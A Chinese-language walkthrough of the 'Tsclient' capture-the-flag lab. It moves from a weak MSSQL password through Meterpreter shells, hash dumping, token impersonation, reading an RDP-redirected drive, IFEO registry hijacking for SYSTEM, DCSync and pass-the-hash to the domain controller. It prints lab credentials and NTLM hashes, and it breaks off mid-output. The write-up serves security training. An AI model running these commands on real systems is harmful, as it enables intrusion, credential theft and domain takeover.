前言
本文所使用的工具可参考以下仓库:
Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集,旨在帮助渗透测试人员打造自己的工具链
靶标介绍:
Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
flag1 指纹识别
fscan扫一下子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ┌──(matrix㉿matrix)-[~/Desktop/fscan_all_version] └─$ ./fscan -h 39 .99 .228 .12 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1 .8 .4 start infoscan39.99.228.12:21 open39.99.228.12:80 open39.99.228.12:1433 open39.99.228.12:445 open[*] alive ports len is: 4 start vulscan[*] WebTitle http://39 .99 .228 .12 code:200 len:703 title:IIS Windows Server[+] mssql 39 .99 .228 .12 :1433 :sa 1qaz!QAZ 已完成 4 /4 [*] 扫描结束,耗时: 11 .17161989s
有弱密钥,MDUT连接数据库
然后命令执行,如果无法执行命令,可能需要先激活插件,最上方激活组件即可
上线msf
1 msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=54522 -f exe -o shell22.exe
利用MDUT上传文件
连接后门
1 2 3 4 5 6 msfconsole use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 39.99.228.12set LPORT 54522 run
提权
1 2 meterpreter > getsystem ...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
shell获取flag1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 C:\Windows\system32>type C:\Users\Administrator\flag\flag01.txt type C:\Users\Administrator\flag\flag01.txt _________ ________ ________ ___ ___ _______ ________ _________ |\___ ___\\ ____\|\ ____\|\ \ |\ \|\ ___ \ |\ ___ \|\___ ___\ \|___ \ \_\ \ \___|\ \ \___|\ \ \ \ \ \ \ __/|\ \ \\ \ \|___ \ \_| \ \ \ \ \_____ \ \ \ \ \ \ \ \ \ \ \_|/_\ \ \\ \ \ \ \ \ \ \ \ \|____|\ \ \ \____\ \ \____\ \ \ \ \_|\ \ \ \\ \ \ \ \ \ \ \__\ ____\_\ \ \_______\ \_______\ \__\ \_______\ \__\\ \__\ \ \__\ \|__| |\_________\|_______|\|_______|\|__|\|_______|\|__| \|__| \|__| \|_________| Getting flag01 is easy, right? flag01: flag{7ac 43465-8f 1d-4d 5b-9a 7b-c0e7f65a3f0d} Maybe you should focus on user sessions...
flag2 上线stowaway
这里改一下名字
1 2 3 4 5 meterpreter > upload /home/matrix/Desktop/Stowaway/windows_x64_agent.exe win_agent.exe [*] Uploading : /home/matrix/Desktop/Stowaway/windows_x64_agent.exe -> win_agent.exe [*] Uploaded 2.17 MiB of 2.17 MiB (100.0% ): /home/matrix/Desktop/Stowaway/windows_x64_agent.exe -> win_agent.exe [*] Completed : /home/matrix/Desktop/Stowaway/windows_x64_agent.exe -> win_agent.exe meterpreter >
连接
1 2 win_agent.exe -l 54523 -s matrix ./linux_x64_admin -c 39.99 .228 .12 :54523 -s matrix
这里提一下stowaway端口转发实现msf反向连接
backward: 反向映射当前agent上的端口至admin的本地端口
监听本地54525,然后转发到Kali的54525
1 2 use 0 backward 54525 54525
写一个连接到本地的马,然后执行,则时候流量会被监听且转发到Kali,Kali只需要监听本地端口即可
1 2 3 4 5 6 7 8 9 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST =127.0.0.1 LPORT =54525 -f exe -o msf25.exe execute -f msf25.exe use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 127.0.0.1set LPORT 54525 exploit
成功反弹shell
看看网段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ipconfig Windows IP 配置 以太网适配器 以太网 : 连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::ddf8:a19e:7ee0:c712%14 IPv4 地址 . . . . . . . . . . . . : 172.22.8.18 子网掩码 . . . . . . . . . . . . : 255.255.0.0 默认网关. . . . . . . . . . . . . : 172.22.255.253 隧道适配器 isatap.{E309DFD0-37D7-4E89-A23A-3C61210B34EA} : 媒体状态 . . . . . . . . . . . . : 媒体已断开连接 连接特定的 DNS 后缀 . . . . . . . : 隧道适配器 Teredo Tunneling Pseudo-Interface : 媒体状态 . . . . . . . . . . . . : 媒体已断开连接 连接特定的 DNS 后缀 . . . . . . . :
上传fscan并扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 C:/迅雷下载/fscan.exe -h 172 .22 .8 .18 /24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1 .8 .4 start infoscan trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 172 .22 .8 .15 is alive (icmp) Target 172 .22 .8 .18 is alive (icmp) Target 172 .22 .8 .31 is alive (icmp) Target 172 .22 .8 .46 is alive[*] Icmp alive hosts len is: 4 172.22.8.46:445 open172.22.8.18:1433 open172.22.8.31:445 open172.22.8.15:445 open172.22.8.18:445 open172.22.8.46:139 open172.22.8.31:139 open172.22.8.18:139 open172.22.8.15:139 open172.22.8.15:88 open172.22.8.46:135 open172.22.8.31:135 open172.22.8.15:135 open172.22.8.18:135 open172.22.8.46:80 open172.22.8.18:80 open[*] alive ports len is: 16 start vulscan[*] NetInfo [*] 172 .22 .8 .18 [->] WIN-WEB [->] 172 .22 .8 .18 [*] NetBios 172 .22 .8 .15 [+] DC:XIAORANG\DC01 [*] WebTitle http://172 .22 .8 .46 code:200 len:703 title:IIS Windows Server[*] NetInfo [*] 172 .22 .8 .31 [->] WIN19-CLIENT [->] 172 .22 .8 .31 [*] NetInfo [*] 172 .22 .8 .15 [->] DC01 [->] 172 .22 .8 .15 [*] NetBios 172 .22 .8 .31 XIAORANG\WIN19-CLIENT [*] NetInfo [*] 172 .22 .8 .46 [->] WIN2016 [->] 172 .22 .8 .46 [*] WebTitle http://172 .22 .8 .18 code:200 len:703 title:IIS Windows Server[*] NetBios 172 .22 .8 .46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393 [+] mssql 172 .22 .8 .18 :1433 :sa 1qaz!QAZ 宸插畬鎴?16 /16 [*] 鎵弿缁撴潫,鑰楁椂: 9 .9945714s
我们需要打这几个机器
1 2 3 4 172.22.8.18 WIN-WEB # 已攻克的本机172.22.8.46 WIN2016.xiaorang.lab172.22.8.31 XIAORANG\WIN19-CLIENT172.22.8.15 XIAORANG\DC01 # 域控
扫一扫31
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 C:\Windows\system32>fscan.exe -h 172 .22 .8 .31 -p 1 -65535 fscan.exe -h 172 .22 .8 .31 -p 1 -65535 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1 .8 .4 start infoscan172.22.8.31:445 open172.22.8.31:139 open172.22.8.31:135 open172.22.8.31:3389 open172.22.8.31:15774 open172.22.8.31:47001 open172.22.8.31:49676 open172.22.8.31:49675 open172.22.8.31:49669 open172.22.8.31:49668 open172.22.8.31:49667 open172.22.8.31:49666 open172.22.8.31:49665 open172.22.8.31:49664 open172.22.8.31:49670 open[*] alive ports len is: 15 start vulscan[*] NetBios 172 .22 .8 .31 XIAORANG\WIN19-CLIENT [*] NetInfo [*] 172 .22 .8 .31 [->] WIN19-CLIENT [->] 172 .22 .8 .31 [*] WebTitle http://172 .22 .8 .31 :47001 code:404 len:315 title:Not Found 已完成 14 /15 [-] (60 /210 ) rdp 172 .22 .8 .31 :3389 administrator sysadmin remote error: tls: access denied 已完成 14 /15 [-] (120 /210 ) rdp 172 .22 .8 .31 :3389 admin a11111 remote error: tls: access denied 已完成 14 /15 [-] (179 /210 ) rdp 172 .22 .8 .31 :3389 guest a123456. remote error: tls: access denied 已完成 15 /15 [*] 扫描结束,耗时: 6m14.2896853s
其实这几台机器都开了RDP
1 2 3 4 172.22.8.15:3389 open 172.22.8.31:3389 open 172.22.8.46:3389 open 172.22.8.18:3389 open
这里提一嘴,
在msf和stowaway的shell执行命令都是中文乱码,可以用chcp 65001 解决。chcp 65001 是 Windows 命令提示符(CMD)中的一个指令,用于切换当前命令行窗口的代码页(Code Page)为 UTF-8 编码 。
原理:
win和linux默认中文编码不一样,跨平台传输文本文件时,推荐全部转为UTF-8编码。
简体中文Windows(如中国大陆用户常用的Win10/Win7)默认编码是GBK(或GB2312),代码页编号:936,在CMD下常见为chcp 936;英文版Windows等系统如果没有专门设置,默认编码通常是ASCII或其他西欧编码(如1252)。
现代Linux发行版(如Ubuntu、Kali、CentOS等)默认编码几乎都是UTF-8 ,无论中英文环境。可以用命令locale或echo $LANG查看(通常会看到UTF-8)
通过systeminfo发现IIS这个机子并没有加入域,是工作组环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 systeminfo 主机名 : WIN-WEB OS 名称 : Microsoft Windows Server 2016 Datacenter OS 版本 : 10.0.14393 暂缺 Build 14393 OS 制造商 : Microsoft Corporation OS 配置 : 独立服务器 OS 构件类型 : Multiprocessor Free 注册的所有人 : 注册的组织 : Aliyun 产品 ID : 00376-40000-00000-AA947 初始安装日期 : 2022/7/11, 12:46:14 系统启动时间 : 2025/8/1, 19:42:02 系统制造商 : Alibaba Cloud 系统型号 : Alibaba Cloud ECS 系统类型 : x64-based PC 处理器 : 安装了 1 个处理器。 [01] : Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz BIOS 版本 : SeaBIOS 449e491, 2014/4/1 Windows 目录 : C:\Windows 系统目录 : C:\Windows\system32 启动设备 : \Device\HarddiskVolume1 系统区域设置 : zh-cn;中文(中国) 输入法区域设置 : zh-cn;中文(中国) 时区 : (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量 : 3,950 MB 可用的物理内存 : 1,180 MB 虚拟内存 : 最大值: 4,654 MB 虚拟内存 : 可用: 684 MB 虚拟内存 : 使用中: 3,970 MB 页面文件位置 : C:\pagefile.sys 域 : WORKGROUP 登录服务器 : 暂缺 修补程序 : 安装了 6 个修补程序。 [01] : KB5013625 [02] : KB4049065 [03] : KB4486129 [04] : KB4486131 [05] : KB5014026 [06] : KB5013952 网卡 : 安装了 1 个 NIC。 [01] : Red Hat VirtIO Ethernet Adapter 连接名 : 以太网 启用 DHCP : 是 DHCP 服务器 : 172.22.255.253 IP 地址 [01] : 172.22.8.18 [02] : fe80::ddf8:a19e:7ee0:c712 Hyper-V 要求 : 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。
如果显示的是类似域: WORKGROUP(Domain: WORKGROUP),表示没有加入域 ,只是工作组(Workgroup)成员 ,属于“独立主机”。
如果显示的是像 域: yourdomain.com、Domain: company.local、Domain: ad.example.com 这样的内容,表示已加入域 。
根据flag1的提示,看一下user sessions:
quser 是 Windows 系统下的一个命令行工具,其作用是查询当前登录到本地或远程主机上的用户会话信息 ,发现John用户远程连上了本机
1 2 3 4 5 C :\Windows\system32>quserquser USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME john rdp-tcp#0 2 Active 2 :12 2025 /8 /1 19 :43 test $ rdp-tcp#94 3 Active 15 2025 /8 /1 21 :11
然后netstat 查看连接信息,发现是从内网 172.22.8.31 XIAORANG\WIN19-CLIENT 上连过来的
结合靶场名字,可能在TSclient里有点东西。
TSclient是什么?
TSclient在Windows远程桌面(RDP,Terminal Services)环境中,通常指的是**“Terminal Services Client”**,也就是进行远程桌面连接的客户端。它不是一个具体的软件名称,而是Windows远程桌面连接(mstsc.exe)在内部或者资源管理器中对远程连接客户端的一种标识。
TSclient挂载远程盘是什么?
当你使用远程桌面(RDP)连接到一台Windows主机时,在连接设置里可以选择“本地资源”→“驱动器”,把你本地电脑的C盘、D盘等磁盘映射/重定向 到远程桌面会话中。
这样,远程主机上会在“此电脑”或“资源管理器”里看到类似以下的磁盘:
C on TSclient
D on TSclient
U on TSclient
这些其实是你本地电脑的C盘、D盘、U盘,通过远程桌面协议(RDP)被“挂载”到了远程主机上。你在远程桌面上操作这些磁盘,实际上读写的还是你本地电脑的数据。
作用
方便在本地和远程主机之间进行文件复制、移动、拖拽等操作。
文件传输不用再用U盘、网盘等额外工具。
为了方便理解,我们在18这台机器上演示一下远程桌面。先建立新用户,并开启远程登陆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 net user matrix Matrix2025! /add net localgroup administrators matrix /add REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" " Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f C:\Windows\system32>net user matrix Matrix2025! /add net user matrix Matrix2025! /add The command completed successfully. C:\Windows\system32>net localgroup administrators matrix /add net localgroup administrators matrix /add The command completed successfully. C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" " Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" " Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f The operation completed successfully.
Kali连接18的远程桌面:
1 2 3 4 rdesktop 39.99.228.12 -u matrix -p Matrix2025! xfreerdp3 /u:matrix /p:Matrix2025! /v:39.99.228.12 /cert:ignore
我们上面根据flag1的Maybe you should focus on user sessions...,发现了有远程登陆;而题目名称是TSclient,我们下一步应该是访问 \\tsclient的远程共享内容。
怎么看远程共享内容呢?这里有两种方法。
第一种方法,先模拟 John 用户的令牌,然后访问 \\tsclient共享 (172.22.8.31)
第二种方法,msf直接migrate到john的svc进程,然后访问
访问 \\tsclient 模拟 John 用户的令牌 第一种方法,模拟 John 用户的令牌的话,注意需要先 psexec (PTH)连john的帐号再用 msf 上线,之后 incognito 才能成功模拟令牌
先导出目标Windows主机上所有用户的NTLM哈希,用来pth
1 2 3 4 5 6 7 8 meterpreter > hashdumpAdministrator: 500 :aad3b435b51404eeaad3b435b51404ee : 2 caf35bb4c5059a3d50599844e2b9b1f:::bridge: 1016 :aad3b435b51404eeaad3b435b51404ee : 6912928308 e3cda903e6d75bd6091a20:::DefaultAccount: 503 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::Guest: 501 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::John: 1008 :aad3b435b51404eeaad3b435b51404ee :eec9381b043f098b011be51622282027 :::matrix: 1017 :aad3b435b51404eeaad3b435b51404ee : 9 f12c506328bbee07e9a3f4c1a8fb7de::: test$: 1009 :aad3b435b51404eeaad3b435b51404ee : 4708 ce5d5015a978a1bf96a7a0f9da28:::
这里讲两种psexec方法:第一种用msf,第二种用impacket工具集
还有更多PTH方法,参考文章:域渗透基础 - 重庆森林不在重庆
msf psexec 就是用exploit/windows/smb/psexec模块,这里正反向都试一遍
正向:
1 2 3 4 5 6 7 use exploit/windows/smb/psexecset RHOSTS 39.99.228.12set SMBUser administratorset SMBPass aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1fset PAYLOAD windows/x64/meterpreter/bind_tcpset LPORT 54524 run
反向:
先stotwaway监听,
1 2 use 0 backward 54525 54525
直接连接
1 2 3 4 5 6 7 8 9 use exploit/windows/smb/psexecset RHOSTS 39.99.228.12set SMBUser administratorset SMBPass aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1fset SMBDomain .set PAYLOAD windows/x64/meterpreter/reverse_tcp # 或者set payload windows/meterpreter/reverse_tcpset LHOST 127.0.0.1set LPORT 54525 run
Impacket psexec 1 2 3 4 proxychains psexec.py -hashes :2 caf35bb4c5059a3d50599844e2b9b1f administrator@172.22.8.18 proxychains impacket-psexec -hashes :2 caf35bb4c5059a3d50599844e2b9b1f administrator@172.22.8.18
传一个后门,用连过去的Impacket执行后门,连接
1 2 3 4 5 use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 39.99.228.12set LPORT 54520 run
这时候就有John了,然后用msf的incognito模块获取John的令牌
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 use incognito list_tokens -u impersonate_ token WIN-WEB\\John # 运行结果: meterpreter > use incognito Loading extension incognito...Success. meterpreter > list_tokens -uDelegation Tokens Available ======================================== IIS APPPOOL\DefaultAppPool NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM NT SERVICE\MsDtsServer130 NT SERVICE\MSSQLFDLauncher NT SERVICE\MSSQLSERVER NT SERVICE\MSSQLServerOLAPService NT SERVICE\ReportServer NT SERVICE\SQLTELEMETRY NT SERVICE\SSASTELEMETRY NT SERVICE\SSISTELEMETRY130 WIN-WEB\John Window Manager\DWM-1 Window Manager\DWM-2Impersonation Tokens Available ======================================== No tokens available meterpreter > impersonate_token WIN-WEB\\John meterpreter > impersonate_ token WIN-WEB\\John [+] Delegation token available [+] Successfully impersonated user WIN-WEB\John
这里提下incognito的一些trick:
1 2 3 4 load incognito # 加载 incognito 模块,use incognito list_tokens -u # 列出主机上的所有访问令牌 impersonate_token “NT AUTHORITY\SYSTEM ” # 窃取 NT AUTHORITY\SYSTEM 账户的令牌 steal_token <PID> # 从指定的进程中窃取令牌
举一个题外话的小例子,通过令牌获取TrustedInstaller权限:
从 Windows Vista 开始系统内置了一个 TrustedInstaller 安全主体,拥有修改系统文件权限,专用于对系统进行维护、更新等操作。TrustedInstaller 以一个账户组的形式出现,即 NT SERVICE\TrustedInstaller。
通常情况下,测试人员可以通过令牌窃取的方式获取系统 TrustedInstaller 权限。由于 TrustedInstaller 本身也是一个服务,当启动该服务时,会运行 TrustedInstaller.exe 程序,该程序的在系统上的路径为 C:\Windows\servicing\TrustedInstaller.exe,其拥有者为 NT SERVICE\TrustedInstaller。测试人员可以窃取 TrustedInstaller.exe 进程的令牌,以提升至 TrustedInstaller 权限。
首先,执行以下命令,在目标系统上启动 TrustedInstaller 服务,并查看其PID
1 >sc start TrustedInstaller
然后,记录 TrustedInstaller.exe 进程的 PID 并执行以下命令:
即可从 TrustedInstaller.exe 进程中窃取令牌。
然后我们回归题目:
此时就能拿到TSclient挂载的C盘,net use查看挂载情况,获取\\tsclient\c\credential.txt,拿到一个用户账号
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 C:\1>chcp 65001 chcp 65001 Active code page : 65001 C :\1 >whoami whoami win-web\johnC :\1 >net use net use New connections will be remembered. Status Local Remote Network ------------------------------------------------------------------------------- \\TSCLIENT\C Microsoft Terminal Services The command completed successfully.C :\1 >type \\tsclient\c\credential.txt type \\tsclient\c\credential.txt xiaorang.lab\Aldrich :Ald@rLMWuy7Z !# Do you know how to hijack Image?C :\1 >
msf直接migrate 第二种方法,msf直接migrate(迁移)到john的svc(服务)进程,进而去读credential.txt
1 2 3 4 5 6 7 8 9 10 11 12 meterpreter > psProcess List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x64 0 68 544 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 176 2452 cmd.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\cmd.exe 248 4 smss.exe x64 0 。。。
进程列表里和 WIN-WEB\John 相关的进程有:
1848 sihost.exe
。。。
3036 explorer.exe
3228 SearchUI.exe
3432 taskhostw.exe
。。。
推荐选择explorer.exe(PID 3036)或 taskhostw.exe(PID 2084/3432),通常比较稳定。
1 2 3 meterpreter > migrate 3036 [*] Migrating from 960 to 3036 ...[*] Migration completed successfully.
但是,Meterpreter 的 cat 命令并不支持直接访问重定向的共享路径(如 \\tsclient\c\),只能操作目标机器本地的文件系统,所以我们进shell读
1 2 3 4 5 6 7 8 9 C :\Windows\system32>whoami whoami win-web\johnC :\Windows\system32>type \\tsclient\c\credential.txttype \\tsclient\c\credential.txt xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# Do you know how to hijack Image?
看提示,应该是IFEO 劫持(镜像劫持):
IFEO 劫持(Image File Execution Options Hijacking)是 Windows 系统下非常经典且常见的一种持久化和绕过技术。
这里已经获得了域用户 John 的账号,但是RDP 连过去提示密码已过期,修改密码后再次登录
密码修改方式一
1 proxychains impacket-psexec xiaorang.lab/Aldrich:"Ald@rLMWuy7Z !#" @172.22.8.15 -newpass 'csy666zz!'
密码修改方式二
使用xfreerdp,利用RDP图像界面进行修改,见下面截图
从46、15、31选机子登录(可以密码喷洒一下),我们直接手试。
登录 172.22.8.31 时,提示登录失败, 因为不在 Remote Desktop Users 用户组内,没有权限(能连上但是无法登录)。
尝试登录46,成功
1 2 3 4 proxychains rdesktop 172.22.8.46 -u 'Aldrich' -d 'xiaorang.lab' -p 'Wcryyds666.' -r clipboard:CLIPBOARD proxychains xfreerdp3 /u:Aldrich /p:Wcryyds666. /d:xiaorang.lab /v:172.22.8.46 /cert:ignore /sec:tls
利用 mstsc 反向攻击思路整理:
https://mp.weixin.qq.com/s/Aog7M_6XauRi96wFeRo6sg
bloodhound信息搜集 46在域里的且46这台机子的机器用户是域管
上bloodhound信息搜集一下
上传SharpHound.exe
1 upload /home/m atrix/Desktop/ BloodHound/resources/ app/Collectors/ SharpHound.exe
然后在目标机器上运行
1 2 3 4 SharpHound.exe -c all powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"
启动neo4j数据库(没有的话注意先安装)
使用BloodHound
1 ./BloodHound --no-sandbox
下载zip到Kali,上传到BloodHound并分析
删除数据库中的所有节点和关系的话,可以用boundhound自带的清空按钮
也可以neo4j里手动清空 BloodHound 数据 (不建议):
1 MATCH (n ) DETACH DELETE n ;
返回题目,
目前只有普通用户权限,需要提权,那接下来的目标就是:在.46上本地提权至system,然后PTH拿下域控。
提权 根据上文的提示,猜测能够直接修改注册表进行 IFEO 劫持。
IFEO 劫持 IFEO 全称为 Image File Execution Options ,是 Windows 注册表下的一个功能,原本是给开发者调试程序用的。
路径如下:
1 HKEY_LOCAL _MACHINE \SOFTWARE \Microsoft \Windows NT \CurrentVersion \Image File Execution Options
在这个路径下,可以为指定的可执行文件(比如 notepad.exe)新建一个同名子项,并设置一些键值,最常见的是 Debugger。Debugger 键用来指定调试器程序的路径。当目标程序启动时,系统会实际启动这个调试器程序,并将目标程序的路径作为参数传递给它 。
是不是有点懵,我们通俗易懂地解释一下:
你在注册表的指定位置,给某个程序(比如 notepad.exe、sethc.exe)加一条特殊说明,告诉系统“以后你要运行它时,先运行我指定的另一个程序”。
这个特殊说明就是给它加一个叫 Debugger 的键,内容是另一个程序的路径。
效果 :
当用户或系统试图启动原本的程序,实际上会先启动你指定的调试器程序,这样你就可以实现权限提升、持久化、执行后门或钓鱼等操作。
用get-acl查看IFEO权限,fl命令是为了把一行显示为多行
1 get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
其中Authenticated Users指的是所有非来宾用户,也包括John,拥有对这个目录的所有权限。
我们把cmd绑定到放大镜上,或者高对比度(粘滞键)上
实际效果:当有人尝试运行magnify.exe或者sethc.exe时,系统实际上会启动cmd.exe(命令行)。
1 2 3 4 REG ADD "HKLM\S OFTWARE\M icrosoft\W indows NT\C urrentVersion\I mage File Execution Options\m agnify.exe" /v Debugger /t REG_SZ /d "C:\w indows\s ystem32\c md.exe" reg add "HKLM\S OFTWARE\M icrosoft\W indows NT\C urrentVersion\I mage File Execution Options\s ethc.exe" /v Debugger /t REG_SZ /d "C:\W indows\S ystem32\c md.exe"
操作成功之后锁定(锁定方法:点击用户头像,选择锁定)
上面两种payload对应着两种劫持方法,都能得到一个system权限的cmd,第一种是点击右下角的放大镜
第二种是按五次shift键,启动粘滞键
可以直接读取flag
1 C :\Users\Administrator\flag\flag02.txt
1 flag02 : flag{7 ace1bcb-2 e91-48 ca-9 cad-f4c15212d7f9}
KrbRelayUp 但是也有非预期解,KrbRelayUp域内提权一把梭
获取cls的方法这里略
1 2 .\KrbRelayUp.exe relay --doimain xiaorang.lab --CreateNewComputerAccount --ComputerName matrix$ --ComputerPassword Matrix2025! -cls c980e4c2-c178-4572-935d-a8a429884806 .\KrbRelayUp.exe spawn -m rbcd -d xiaorang.lab -dc DC01.xiaorang.lab -cn matrix$ -
detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup
flag3 传马的话因为有远程桌面,直接复制粘贴就完事了:在本地电脑复制文件(Ctrl+C),然后在远程桌面窗口里粘贴(Ctrl+V),即可把文件从本地传到远程。
这里上线msf,注意在system权限下运行后门,就是还是用映像劫持去执行后门,然后运行
1 2 3 4 5 6 7 8 9 10 msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=54532 -f exe -o shell32.exe proxychains msfconsole use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 172.22.8.46set LPORT 54532 run
当然,我们也可以不传马
先将远程登录的Aldrich添加到管理员
1 net localgroup administrators Aldrich /add
然后再上线msf也行(要添加到管理员是因为直接上线msf的话,权限不够)
1 2 3 4 5 6 7 8 use exploit/windows/smb/psexecset RHOSTS 172.22.8.46set SMBUser Aldrichset SMBPass Wcryyds666.set SMBDomain xiaorang.labset PAYLOAD windows/x64/meterpreter/bind_tcpset LPORT 54532 run
之后有两种方法,第一种是DCsync+PTH,第二种是约束委派之后DCsync+PTH
DCsync+PTH 依旧是DCsync+PTH,上面我们提到了msf和Impacket工具集里的psexec,这里我们再介绍crackmapexec、Impacket工具集里的smbexec。
参考文章:域渗透基础 - 重庆森林不在重庆
在.46上用mimikatz读机器用户的hash,可以用msf自带的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 load kiwi kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit meterpreter > load kiwi [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Loading extension kiwi... . . '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http:// pingcastle.com / http:/ /mysmartlogon.com ***/ Success. [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 meterpreter > kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [DC] 'xiaorang.lab' will be the domain [DC] 'DC01.xiaorang.lab' will be the DC server [DC] Exporting domain 'xiaorang.lab' [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9 )502 krbtgt 3 ffd5b58b4a6328659a606c3ea6f9b63 514 1000 DC01$ 4810 cc9c2bac3f397226de8201d3c551 532480 1103 WIN2016$ 17 b0ca4ae854dc2e5ba037fdb6ce9524 16781312 1104 WIN19-CLIENT$ 78430 c25d0cbc87623c7881e2268c0a5 16781312 1105 Aldrich f833b1285fea0f548d6022081e030e55 512 500 Administrator 2 c9d81bdcf3ec8b1def10328a7cc2f08 512 mimikatz(powershell) Bye! [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 meterpreter >
然后PTH
crackmapexec 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ┌── (matrix㉿matrix)- [~/ Desktop ]└─ $ proxychains crackmapexec smb 172.22 .8.15 - u administrator - H 2c9d81bdcf3ec8b1def10328a7cc2f08 - d xiaorang.lab - x "type Users\Administrator\flag\flag03.txt" [proxychains] config file found: /etc/ proxychains4.conf [proxychains] preloading /usr/ lib/x86_64-linux-gnu/ libproxychains.so.4 [proxychains] DLL init : proxychains- ng 4.17 /usr/ lib/python3/ dist- packages/cme/ cli.py:37 : SyntaxWarning : invalid escape sequence '\ ' formatter_class= RawTextHelpFormatter )/usr/ lib/python3/ dist- packages/cme/ protocols/smb/ smbexec.py:49 : SyntaxWarning : invalid escape sequence '\p' stringbinding = 'ncacn_np:% s[\pipe\svcctl]' % self .__host/usr/ lib/python3/ dist- packages/cme/ protocols/smb/ smbexec.py:93 : SyntaxWarning : invalid escape sequence '\{' command = self .__shell + 'echo '+ data + ' ^> \\\\127.0 .0.1 \\{}\\{} 2 ^>^& 1 > % TEMP % \{} & % COMSPEC % /Q / c % TEMP % \{} & % COMSPEC % /Q / c del % TEMP % \{}'.format(self .__share_name, self .__output, self .__batchFile, self .__batchFile, self 